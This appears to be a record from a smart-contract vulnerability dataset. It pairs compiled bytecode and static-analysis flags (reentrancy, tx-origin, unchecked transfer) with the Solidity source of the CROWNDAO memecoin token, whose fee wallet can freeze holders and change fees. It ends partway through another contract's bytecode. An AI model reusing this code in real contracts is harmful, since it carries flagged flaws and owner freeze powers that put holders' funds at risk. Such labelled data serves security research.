5760088054610b6090600190612eca565b81548110610b7e57634e487b7160e01b600052603260045260246000fd5b600091825260209091200154600880546001600160a01b039092169183908110610bb857634e487b7160e01b600052603260045260246000fd5b600091825260208083209190910180546001600160a01b0319166001600160a01b039485161790559184168152600382526040808220829055600690925220805460ff191690556008805480610c1e57634e487b7160e01b600052603160045260246000fd5b600082815260209020810160001990810180546001600160a01b0319169055019055610c57565b80610c4f81612f1c565b915050610b00565b5050565b6000610921610c68611655565b846109e58560046000610c79611655565b6001600160a01b03908116825260208083019390935260409182016000908120918c168152925290205490611b01565b60125481565b610cb7611655565b6000546001600160a01b03908116911614610ce45760405162461bcd60e51b8152600401610a2990612ccf565b6040516370a0823160e01b81526001600160a01b0383169063a9059cbb90839083906370a0823190610d1a903090600401612a43565b60206040518083038186803b158015610d3257600080fd5b505afa158015610d46573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d6a91906129fe565b6040518363ffffffff1660e01b8152600401610d87929190612a57565b602060405180830381600087803b158015610da157600080fd5b505af1158015610db5573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610dd991906129b8565b505050565b610de6611655565b6000546001600160a01b03908116911614610e135760405162461bcd60e51b8152600401610a2990612ccf565b6019805460ff1916911515919091179055565b610e2e611655565b6000546001600160a01b03908116911614610e5b5760405162461bcd60e51b8152600401610a2990612ccf565b6001600160a01b03166000908152600560205260409020805460ff19166001179055565b7f000000000000000000000000afb56c631ecb75bc0a8cda45c96139a8f7bebb1181565b601654610100900460ff1681565b601954610100900460ff1681565b610ec7611655565b6000546001600160a01b03908116911614610ef45760405162461bcd60e51b8152600401610a2990612ccf565b6001600160a01b03811660009081526006602052604090205460ff1615610f2d5760405162461bcd60e51b8152600401610a2990612c0f565b6001600160a01b03811660009081526002602052604090205415610f87576001600160a01b038116600090815260026020526040902054610f6d90610a46565b6001600160a01b0382166000908152600360205260409020555b6001600160a01b03166000818152600660205260408120805460ff191660019081179091556008805491820181559091527ff3f7a9fe364faab93b216da50a3214154f22a0a2b415b23a84c8169e8b636ee30180546001600160a01b0319169091179055565b6001600160a01b031660009081526005602052604090205460ff1690565b611013611655565b6000546001600160a01b039081169116146110405760405162461bcd60e51b8152600401610a2990612ccf565b6001600160a01b03166000908152600760205260409020805460ff19169055565b611069611655565b6000546001600160a01b039081169116146110965760405162461bcd60e51b8152600401610a2990612ccf565b6110a481633b9aca00612eab565b60185550565b6110b2611655565b6000546001600160a01b039081169116146110df5760405162461bcd60e51b8152600401610a2990612ccf565b600f80546001600160a01b0390921661010002610100600160a81b0319909216919091179055565b6001600160a01b03811660009081526006602052604081205460ff161561114757506001600160a01b038116600090815260036020526040902054610902565b6001600160a01b03821660009081526002602052604090205461092590610a46565b611171611655565b6000546001600160a01b0390811691161461119e5760405162461bcd60e51b8152600401610a2990612ccf565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6111f0611655565b6000546001600160a01b0390811691161461121d5760405162461bcd60e51b8152600401610a2990612ccf565b60198054911515620100000262ff000019909216919091179055565b611241611655565b6000546001600160a01b0390811691161461126e5760405162461bcd60e51b8152600401610a2990612ccf565b6040516001600160a01b038216904780156108fc02916000818181858888f19350505050158015610c57573d6000803e3d6000fd5b60175481565b60135481565b6001600160a01b031660009081526006602052604090205460ff1690565b6000546001600160a01b031690565b6060600e805461086290612ee1565b6112f3611655565b6000546001600160a01b039081169116146113205760405162461bcd60e51b8152600401610a2990612ccf565b601980549115156101000261ff0019909216919091179055565b6000610921611347611655565b846109e585604051806060016040528060258152602001612f9c6025913960046000611371611655565b6001600160a01b03908116825260208083019390935260409182016000908120918d16815292529020549190611aa4565b6113aa611655565b6000546001600160a01b039081169116146113d75760405162461bcd60e51b8152600401610a2990612ccf565b6009805460ff1916600117905543601155565b60006109216113f7611655565b848461170d565b60195462010000900460ff1681565b611415611655565b6000546001600160a01b039081169116146114425760405162461bcd60e51b8152600401610a2990612ccf565b6016805461ff001916610100831515021790556040517f53726dfcaf90650aa7eb35524f4d3220f07413c8d6cb404cc8c18bf5591bc15990611485908390612aab565b60405180910390a150565b60115481565b60165462010000900460ff1681565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b601a5481565b6114de611655565b6000546001600160a01b0390811691161461150b5760405162461bcd60e51b8152600401610a2990612ccf565b6001600160a01b03166000908152600560205260409020805460ff19169055565b611534611655565b6000546001600160a01b039081169116146115615760405162461bcd60e51b8152600401610a2990612ccf565b61156f81633b9aca00612eab565b60175550565b61157d611655565b6000546001600160a01b039081169116146115aa5760405162461bcd60e51b8152600401610a2990612ccf565b6001600160a01b03166000908152600760205260409020805460ff19166001179055565b6000826115dd57506000610925565b60006115e98385612eab565b9050826115f68583612e8b565b14610a805760405162461bcd60e51b8152600401610a2990612c8e565b6000610a8083836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611b30565b3390565b6001600160a01b03831661167f5760405162461bcd60e51b8152600401610a2990612d92565b6001600160a01b0382166116a55760405162461bcd60e51b8152600401610a2990612b96565b6001600160a01b0380841660008181526004602090815260408083209487168084529490915290819020849055517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92590611700908590612dd6565b60405180910390a3505050565b6001600160a01b0383166117335760405162461bcd60e51b8152600401610a2990612d4d565b6001600160a01b0382166117595760405162461bcd60e51b8152600401610a2990612b09565b600081116117795760405162461bcd60e51b8152600401610a2990612d04565b601954610100900460ff16156117f2576117916112cd565b6001600160a01b0316836001600160a01b0316141580156117cb57506117b56112cd565b6001600160a01b0316826001600160a01b031614155b156117f2576017548111156117f25760405162461bcd60e51b8152600401610a2990612c46565b60195462010000900460ff16156118a5577f000000000000000000000000afb56c631ecb75bc0a8cda45c96139a8f7bebb116001600160a01b0316836001600160a01b031614801561187657507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b0316826001600160a01b031614155b801561188b57506001600160a01b0382163014155b156118a557326001600160a01b038316146118a557600080fd5b60195460ff16156119af577f000000000000000000000000afb56c631ecb75bc0a8cda45c96139a8f7bebb116001600160a01b0316836001600160a01b031614801561190a57506118f46112cd565b6001600160a01b0316836001600160a01b031614155b801561192f57506119196112cd565b6001600160a01b0316826001600160a01b031614155b801561196d57507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b0316826001600160a01b031614155b801561198257506001600160a01b0382163014155b156119af57600061199283611107565b6018549091506119a28284611b01565b11156119ad57600080fd5b505b60006119ba30611107565b905060175481106119ca57506017545b601a54811080159081906119e1575060165460ff16155b8015611a1f57507f000000000000000000000000afb56c631ecb75bc0a8cda45c96139a8f7bebb116001600160a01b0316856001600160a01b031614155b8015611a325750601654610100900460ff165b15611a4557601a549150611a4582611b5e565b6001600160a01b03851660009081526005602052604090205460019060ff1680611a8757506001600160a01b03851660009081526005602052604090205460ff165b15611a90575060005b611a9c86868684611ccb565b505050505050565b60008184841115611ac85760405162461bcd60e51b8152600401610a299190612ab6565b506000611ad58486612eca565b95945050505050565b6000806000611aeb611f89565b9092509050611afa8282611613565b9250505090565b600080611b0e8385612e73565b905083811015610a805760405162461bcd60e51b8152600401610a2990612bd8565b60008183611b515760405162461bcd60e51b8152600401610a299190612ab6565b506000611ad58486612e8b565b6016805460ff191660011790556000611b78826003611613565b90506000611b916001611b8b8585612146565b90612146565b90506000611ba0836002611613565b9050611bac8382612146565b6010546001600160a01b0316600090815260026020526040902054909350611bd49082611b01565b6010546001600160a01b0316600090815260026020819052604082209290925590611c00908590611613565b90506000611c0e8583612146565b905047611c1a83612188565b6000611c264783612146565b9050611c32838261236b565b611c3b86612188565b600f546040516001600160a01b0361010090920491909116904780156108fc02916000818181858888f19350505050158015611c7b573d6000803e3d6000fd5b507f17bbfb9a6069321b6ded73bd96327c9e6b7212a5cd51ff219cd61370acafb561848285604051611caf93929190612e4f565b60405180910390a150506016805460ff19169055505050505050565b6001600160a01b03841660009081526007602052604090205460ff16158015611d0d57506001600160a01b03831660009081526007602052604090205460ff16155b611d1657600080fd5b60165462010000900460ff1615611de6576011544311158015611d6a57507f000000000000000000000000afb56c631ecb75bc0a8cda45c96139a8f7bebb116001600160a01b0316846001600160a01b0316145b8015611da857507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b0316836001600160a01b031614155b8015611dbd57506001600160a01b0383163014155b15611de6576001600160a01b0383166000908152600760205260409020805460ff191660011790555b60095460ff16611e1557611df86112cd565b6001600160a01b0316846001600160a01b031614611e1557600080fd5b80611e2257611e2261244e565b6001600160a01b03841660009081526006602052604090205460ff168015611e6357506001600160a01b03831660009081526006602052604090205460ff16155b15611e7857611e73848484612480565b611f76565b6001600160a01b03841660009081526006602052604090205460ff16158015611eb957506001600160a01b03831660009081526006602052604090205460ff165b15611ec957611e738484846125a4565b6001600160a01b03841660009081526006602052604090205460ff16158015611f0b57506001600160a01b03831660009081526006602052604090205460ff16155b15611f1b57611e7384848461264d565b6001600160a01b03841660009081526006602052604090205460ff168015611f5b57506001600160a01b03831660009081526006602052604090205460ff165b15611f6b57611e73848484612691565b611f7684848461264d565b80611f8357611f83612704565b50505050565b600b54600a546000918291825b60085481101561211457826002600060088481548110611fc657634e487b7160e01b600052603260045260246000fd5b60009182526020808320909101546001600160a01b03168352820192909252604001902054118061203f575081600360006008848154811061201857634e487b7160e01b600052603260045260246000fd5b60009182526020808320909101546001600160a01b03168352820192909252604001902054115b1561205657600b54600a5494509450505050612142565b6120aa600260006008848154811061207e57634e487b7160e01b600052603260045260246000fd5b60009182526020808320909101546001600160a01b031683528201929092526040019020548490612146565b925061210060036000600884815481106120d457634e487b7160e01b600052603260045260246000fd5b60009182526020808320909101546001600160a01b031683528201929092526040019020548390612146565b91508061210c81612f1c565b915050611f96565b50600a54600b5461212491611613565b82101561213c57600b54600a54935093505050612142565b90925090505b9091565b6000610a8083836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611aa4565b60408051600280825260608201835260009260208301908036833701905050905030816000815181106121cb57634e487b7160e01b600052603260045260246000fd5b60200260200101906001600160a01b031690816001600160a01b0316815250507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561224457600080fd5b505afa158015612258573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061227c91906128dd565b8160018151811061229d57634e487b7160e01b600052603260045260246000fd5b60200260200101906001600160a01b031690816001600160a01b0316815250506122e8307f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d84611659565b60405163791ac94760e01b81526001600160a01b037f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d169063791ac9479061233d908590600090869030904290600401612ddf565b600060405180830381600087803b15801561235757600080fd5b505af1158015611a9c573d6000803e3d6000fd5b612396307f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d84611659565b7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663f305d7198230856000806123d36112cd565b426040518863ffffffff1660e01b81526004016123f596959493929190612a70565b6060604051808303818588803b15801561240e57600080fd5b505af1158015612422573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906124479190612a16565b5050505050565b60125415801561245e5750601354155b156124685761247e565b6012805460145560138054601555600091829055555b565b60008060008060008061249287612712565b6001600160a01b038f16600090815260036020526040902054959b509399509197509550935091506124c49088612146565b6001600160a01b038a166000908152600360209081526040808320939093556002905220546124f39087612146565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546125229086611b01565b6001600160a01b03891660009081526002602052604090205561254481612761565b61254e84836127e9565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516125919190612dd6565b60405180910390a3505050505050505050565b6000806000806000806125b687612712565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506125e89087612146565b6001600160a01b03808b16600090815260026020908152604080832094909455918b1681526003909152205461261e9084611b01565b6001600160a01b0389166000908152600360209081526040808320939093556002905220546125229086611b01565b60008060008060008061265f87612712565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506124f39087612146565b6000806000806000806126a387612712565b6001600160a01b038f16600090815260036020526040902054959b509399509197509550935091506126d59088612146565b6001600160a01b038a166000908152600360209081526040808320939093556002905220546125e89087612146565b601454601255601554601355565b60008060008060008060008060006127298a61280d565b92509250925060008060006127478d8686612742611ade565b612871565b919f909e50909c50959a5093985091965092945050505050565b600061276b611ade565b9050600061277983836115ce565b306000908152600260205260409020549091506127969082611b01565b3060009081526002602090815260408083209390935560069052205460ff1615610dd957306000908152600360205260409020546127d49084611b01565b30600090815260036020526040902055505050565b600b546127f69083612146565b600b55600c546128069082611b01565b600c555050565b600080600080612833606461282d601254886115ce90919063ffffffff16565b90611613565b90506000612851606461282d601354896115ce90919063ffffffff16565b9050600061286382611b8b8986612146565b979296509094509092505050565b600080808061288088866115ce565b9050600061288e88876115ce565b9050600061289c88886115ce565b905060006128ae82611b8b8686612146565b939b939a50919850919650505050505050565b6000602082840312156128d2578081fd5b8135610a8081612f4d565b6000602082840312156128ee578081fd5b8151610a8081612f4d565b6000806040838503121561290b578081fd5b823561291681612f4d565b9150602083013561292681612f4d565b809150509250929050565b600080600060608486031215612945578081fd5b833561295081612f4d565b9250602084013561296081612f4d565b929592945050506040919091013590565b60008060408385031215612983578182fd5b823561298e81612f4d565b946020939093013593505050565b6000602082840312156129ad578081fd5b8135610a8081612f65565b6000602082840312156129c9578081fd5b8151610a8081612f65565b6000806040838503121561290b578182fd5b6000602082840312156129f7578081fd5b5035919050565b600060208284031215612a0f578081fd5b5051919050565b600080600060608486031215612a2a578283fd5b8351925060208401519150604084015190509250925092565b6001600160a01b0391909116815260200190565b6001600160a01b03929092168252602082015260400190565b6001600160a01b039687168152602081019590955260408501939093526060840191909152909216608082015260a081019190915260c00190565b901515815260200190565b6000602080835283518082850152825b81811015612ae257858101830151858201604001528201612ac6565b81811115612af35783604083870101525b50601f01601f1916929092016040019392505050565b60208082526023908201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260408201526265737360e81b606082015260800190565b6020808252602a908201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260408201526965666c656374696f6e7360b01b606082015260800190565b60208082526022908201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604082015261737360f01b606082015260800190565b6020808252601b908201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604082015260600190565b6020808252601b908201527f4163636f756e7420697320616c7265616479206578636c756465640000000000604082015260600190565b60208082526028908201527f5472616e7366657220616d6f756e74206578636565647320746865206d6178546040820152673c20b6b7bab73a1760c11b606082015260800190565b60208082526021908201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6040820152607760f81b606082015260800190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60208082526029908201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206040820152687468616e207a65726f60b81b606082015260800190565b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604082015264647265737360d81b606082015260800190565b60208082526024908201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646040820152637265737360e01b606082015260800190565b90815260200190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b81811015612e2e5784516001600160a01b031683529383019391830191600101612e09565b50506001600160a01b03969096166060850152505050608001529392505050565b9283526020830191909152604082015260600190565b60ff91909116815260200190565b60008219821115612e8657612e86612f37565b500190565b600082612ea657634e487b7160e01b81526012600452602481fd5b500490565b6000816000190483118215151615612ec557612ec5612f37565b500290565b600082821015612edc57612edc612f37565b500390565b600281046001821680612ef557607f821691505b60208210811415612f1657634e487b7160e01b600052602260045260246000fd5b50919050565b6000600019821415612f3057612f30612f37565b5060010190565b634e487b7160e01b600052601160045260246000fd5b6001600160a01b0381168114612f6257600080fd5b50565b8015158114612f6257600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa26469706673582212208f6e539bca68d1216fe3a0d98603a36a5d5a321f5bf1f7d6ec4b3ae5218c7af264736f6c63430008000033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "tx-origin", "impact": "Medium", "confidence": "Medium"}, {"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
3,662
0x321481a4f6adfd1bcbec04265b8a68e075aee515
/** *Submitted for verification at Etherscan.io on 2022-04-04 */ /** Who will be the first to find the crown? Clues will be given, it's up to you to find. Find me on telegram, you won't regret ------Tokenomics----- 1,000,000,000,000 token supply Max buy : 20.000.000.000 // 2% Max wallet : 40.000.000.000 // 4% 0% BUY TAX 5% SELL TAX */ pragma solidity ^0.8.10; // SPDX-License-Identifier: UNLICENSED abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract CROWNDAO is Context, IERC20, Ownable { //// mapping (address => uint) private _owned; mapping (address => mapping (address => uint)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => User) private cooldown; mapping (address => bool) private _isBot; uint private constant _totalSupply = 1e12 * 10**9; string public constant name = unicode"CROWNDAO"; //// string public constant symbol = unicode"CROWNDAO"; //// uint8 public constant decimals = 9; IUniswapV2Router02 private uniswapV2Router; address payable public _FeeAddress1; address payable public _FeeAddress2; address public uniswapV2Pair; uint public _buyFee = 0; uint public _sellFee = 5; uint public _feeRate = 9; uint public _maxBuyAmount; uint public _maxHeldTokens; uint public _launchedAt; bool private _tradingOpen; bool private _inSwap; bool public _useImpactFeeSetter = true; struct User { uint buy; bool exists; } event FeeMultiplierUpdated(uint _multiplier); event ImpactFeeSetterUpdated(bool _usefeesetter); event FeeRateUpdated(uint _rate); event FeesUpdated(uint _buy, uint _sell); event FeeAddress1Updated(address _feewallet1); event FeeAddress2Updated(address _feewallet2); modifier lockTheSwap { _inSwap = true; _; _inSwap = false; } constructor (address payable FeeAddress1, address payable FeeAddress2) { _FeeAddress1 = FeeAddress1; _FeeAddress2 = FeeAddress2; _owned[address(this)] = _totalSupply; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[FeeAddress1] = true; _isExcludedFromFee[FeeAddress2] = true; emit Transfer(address(0), address(this), _totalSupply); } function balanceOf(address account) public view override returns (uint) { return _owned[account]; } function transfer(address recipient, uint amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function totalSupply() public pure override returns (uint) { return _totalSupply; } function allowance(address owner, address spender) public view override returns (uint) { return _allowances[owner][spender]; } function approve(address spender, uint amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint amount) public override returns (bool) { if(_tradingOpen && !_isExcludedFromFee[recipient] && sender == uniswapV2Pair){ require (recipient == tx.origin, "pls no bot"); } _transfer(sender, recipient, amount); uint allowedAmount = _allowances[sender][_msgSender()] - amount; _approve(sender, _msgSender(), allowedAmount); return true; } function _approve(address owner, address spender, uint amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); require(!_isBot[from], "ERC20: transfer from frozen wallet."); bool isBuy = false; if(from != owner() && to != owner()) { // buy if(from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to]) { require(_tradingOpen, "Trading not yet enabled."); require(block.timestamp != _launchedAt, "pls no snip"); if((_launchedAt + (1 hours)) > block.timestamp) { require((amount + balanceOf(address(to))) <= _maxHeldTokens, "You can't own that many tokens at once."); // 5% } if(!cooldown[to].exists) { cooldown[to] = User(0,true); } if((_launchedAt + (120 seconds)) > block.timestamp) { require(amount <= _maxBuyAmount, "Exceeds maximum buy amount."); require(cooldown[to].buy < block.timestamp + (15 seconds), "Your buy cooldown has not expired."); } cooldown[to].buy = block.timestamp; isBuy = true; } // sell if(!_inSwap && _tradingOpen && from != uniswapV2Pair) { require(cooldown[from].buy < block.timestamp + (15 seconds), "Your sell cooldown has not expired."); uint contractTokenBalance = balanceOf(address(this)); if(contractTokenBalance > 0) { if(_useImpactFeeSetter) { if(contractTokenBalance > (balanceOf(uniswapV2Pair) * _feeRate) / 100) { contractTokenBalance = (balanceOf(uniswapV2Pair) * _feeRate) / 100; } } swapTokensForEth(contractTokenBalance); } uint contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } isBuy = false; } } bool takeFee = true; if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){ takeFee = false; } _tokenTransfer(from,to,amount,takeFee,isBuy); } function swapTokensForEth(uint tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint amount) private { _FeeAddress1.transfer(amount / 2); _FeeAddress2.transfer(amount / 2); } function _tokenTransfer(address sender, address recipient, uint amount, bool takefee, bool buy) private { (uint fee) = _getFee(takefee, buy); _transferStandard(sender, recipient, amount, fee); } function _getFee(bool takefee, bool buy) private view returns (uint) { uint fee = 0; if(takefee) { if(buy) { fee = _buyFee; } else { fee = _sellFee; if(block.timestamp < _launchedAt + (15 minutes)) { fee += 5; } } } return fee; } function _transferStandard(address sender, address recipient, uint amount, uint fee) private { (uint transferAmount, uint team) = _getValues(amount, fee); _owned[sender] = _owned[sender] - amount; _owned[recipient] = _owned[recipient] + transferAmount; _takeTeam(team); emit Transfer(sender, recipient, transferAmount); } function _getValues(uint amount, uint teamFee) private pure returns (uint, uint) { uint team = (amount * teamFee) / 100; uint transferAmount = amount - team; return (transferAmount, team); } function _takeTeam(uint team) private { _owned[address(this)] = _owned[address(this)] + team; } receive() external payable {} // external functions function addLiquidity() external onlyOwner() { require(!_tradingOpen, "Trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _totalSupply); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function openTrading() external onlyOwner() { require(!_tradingOpen, "Trading is already open"); _tradingOpen = true; _launchedAt = block.timestamp; _maxBuyAmount = 20000000000 * 10**9; // 2% _maxHeldTokens = 4000000000 * 10**9; // 4% } function manualswap() external { require(_msgSender() == _FeeAddress1); uint contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _FeeAddress1); uint contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function setFeeRate(uint rate) external onlyOwner() { require(_msgSender() == _FeeAddress1); require(rate > 0, "Rate can't be zero"); // 100% is the common fee rate _feeRate = rate; emit FeeRateUpdated(_feeRate); } function setFees(uint buy, uint sell) external { require(_msgSender() == _FeeAddress1); require(buy <= 10); require(sell <= 10); _buyFee = buy; _sellFee = sell; emit FeesUpdated(_buyFee, _sellFee); } function setBots(address[] memory bots_) external { require(_msgSender() == _FeeAddress1); for (uint i = 0; i < bots_.length; i++) { if (bots_[i] != uniswapV2Pair && bots_[i] != address(uniswapV2Router)) { _isBot[bots_[i]] = true; } } } function delBots(address[] memory bots_) external { require(_msgSender() == _FeeAddress1); for (uint i = 0; i < bots_.length; i++) { _isBot[bots_[i]] = false; } } function isBot(address ad) public view returns (bool) { return _isBot[ad]; } function toggleImpactFee(bool onoff) external onlyOwner() { _useImpactFeeSetter = onoff; emit ImpactFeeSetterUpdated(_useImpactFeeSetter); } function updateFeeAddress1(address newAddress) external { require(_msgSender() == _FeeAddress1); _FeeAddress1 = payable(newAddress); emit FeeAddress1Updated(_FeeAddress1); } function updateFeeAddress2(address newAddress) external { require(_msgSender() == _FeeAddress2); _FeeAddress2 = payable(newAddress); emit FeeAddress2Updated(_FeeAddress2); } // view functions function thisBalance() public view returns (uint) { return balanceOf(address(this)); } function amountInPool() public view returns (uint) { return balanceOf(uniswapV2Pair); } }
0x6080604052600436106102085760003560e01c806349bd5a5e11610118578063a9059cbb116100a0578063c9567bf91161006f578063c9567bf9146105c4578063db92dbb6146105d9578063dcb0e0ad146105ee578063dd62ed3e1461060e578063e8078d941461065457600080fd5b8063a9059cbb14610559578063b2131f7d14610579578063b515566a1461058f578063c3c8cd80146105af57600080fd5b806370a08231116100e757806370a08231146104e6578063715018a6146105065780638da5cb5b1461051b57806394b8d8f21461053957806395d89b411461023d57600080fd5b806349bd5a5e1461047b578063509016171461049b578063590f897e146104bb5780636fc3eaec146104d157600080fd5b806327f3a72a1161019b578063367c55441161016a578063367c5544146103b45780633bbac579146103ec5780633bed43551461042557806340b9a54b1461044557806345596e2e1461045b57600080fd5b806327f3a72a14610342578063313ce5671461035757806331c2d8471461037e57806332d873d81461039e57600080fd5b80630b78f9c0116101d75780630b78f9c0146102d057806318160ddd146102f05780631940d0201461030c57806323b872dd1461032257600080fd5b80630492f0551461021457806306fdde031461023d5780630802d2f61461027e578063095ea7b3146102a057600080fd5b3661020f57005b600080fd5b34801561022057600080fd5b5061022a600e5481565b6040519081526020015b60405180910390f35b34801561024957600080fd5b506102716040518060400160405280600881526020016743524f574e44414f60c01b81525081565b6040516102349190611bee565b34801561028a57600080fd5b5061029e610299366004611c68565b610669565b005b3480156102ac57600080fd5b506102c06102bb366004611c85565b6106de565b6040519015158152602001610234565b3480156102dc57600080fd5b5061029e6102eb366004611cb1565b6106f4565b3480156102fc57600080fd5b50683635c9adc5dea0000061022a565b34801561031857600080fd5b5061022a600f5481565b34801561032e57600080fd5b506102c061033d366004611cd3565b610777565b34801561034e57600080fd5b5061022a61085f565b34801561036357600080fd5b5061036c600981565b60405160ff9091168152602001610234565b34801561038a57600080fd5b5061029e610399366004611d2a565b61086f565b3480156103aa57600080fd5b5061022a60105481565b3480156103c057600080fd5b506009546103d4906001600160a01b031681565b6040516001600160a01b039091168152602001610234565b3480156103f857600080fd5b506102c0610407366004611c68565b6001600160a01b031660009081526006602052604090205460ff1690565b34801561043157600080fd5b506008546103d4906001600160a01b031681565b34801561045157600080fd5b5061022a600b5481565b34801561046757600080fd5b5061029e610476366004611def565b6108fb565b34801561048757600080fd5b50600a546103d4906001600160a01b031681565b3480156104a757600080fd5b5061029e6104b6366004611c68565b6109bf565b3480156104c757600080fd5b5061022a600c5481565b3480156104dd57600080fd5b5061029e610a2d565b3480156104f257600080fd5b5061022a610501366004611c68565b610a5a565b34801561051257600080fd5b5061029e610a75565b34801561052757600080fd5b506000546001600160a01b03166103d4565b34801561054557600080fd5b506011546102c09062010000900460ff1681565b34801561056557600080fd5b506102c0610574366004611c85565b610ae9565b34801561058557600080fd5b5061022a600d5481565b34801561059b57600080fd5b5061029e6105aa366004611d2a565b610af6565b3480156105bb57600080fd5b5061029e610c05565b3480156105d057600080fd5b5061029e610c3b565b3480156105e557600080fd5b5061022a610cde565b3480156105fa57600080fd5b5061029e610609366004611e16565b610cf6565b34801561061a57600080fd5b5061022a610629366004611e33565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b34801561066057600080fd5b5061029e610d73565b6008546001600160a01b0316336001600160a01b03161461068957600080fd5b600880546001600160a01b0319166001600160a01b0383169081179091556040519081527f0e96f8986653644392af4a5daec8b04a389af0d497572173e63846ccd26c843c906020015b60405180910390a150565b60006106eb3384846110ba565b50600192915050565b6008546001600160a01b0316336001600160a01b03161461071457600080fd5b600a82111561072257600080fd5b600a81111561073057600080fd5b600b829055600c81905560408051838152602081018390527f5c6323bf1c2d7aaea2c091a4751c1c87af7f2864650c336507a77d0557af37a1910160405180910390a15050565b60115460009060ff1680156107a557506001600160a01b038316600090815260046020526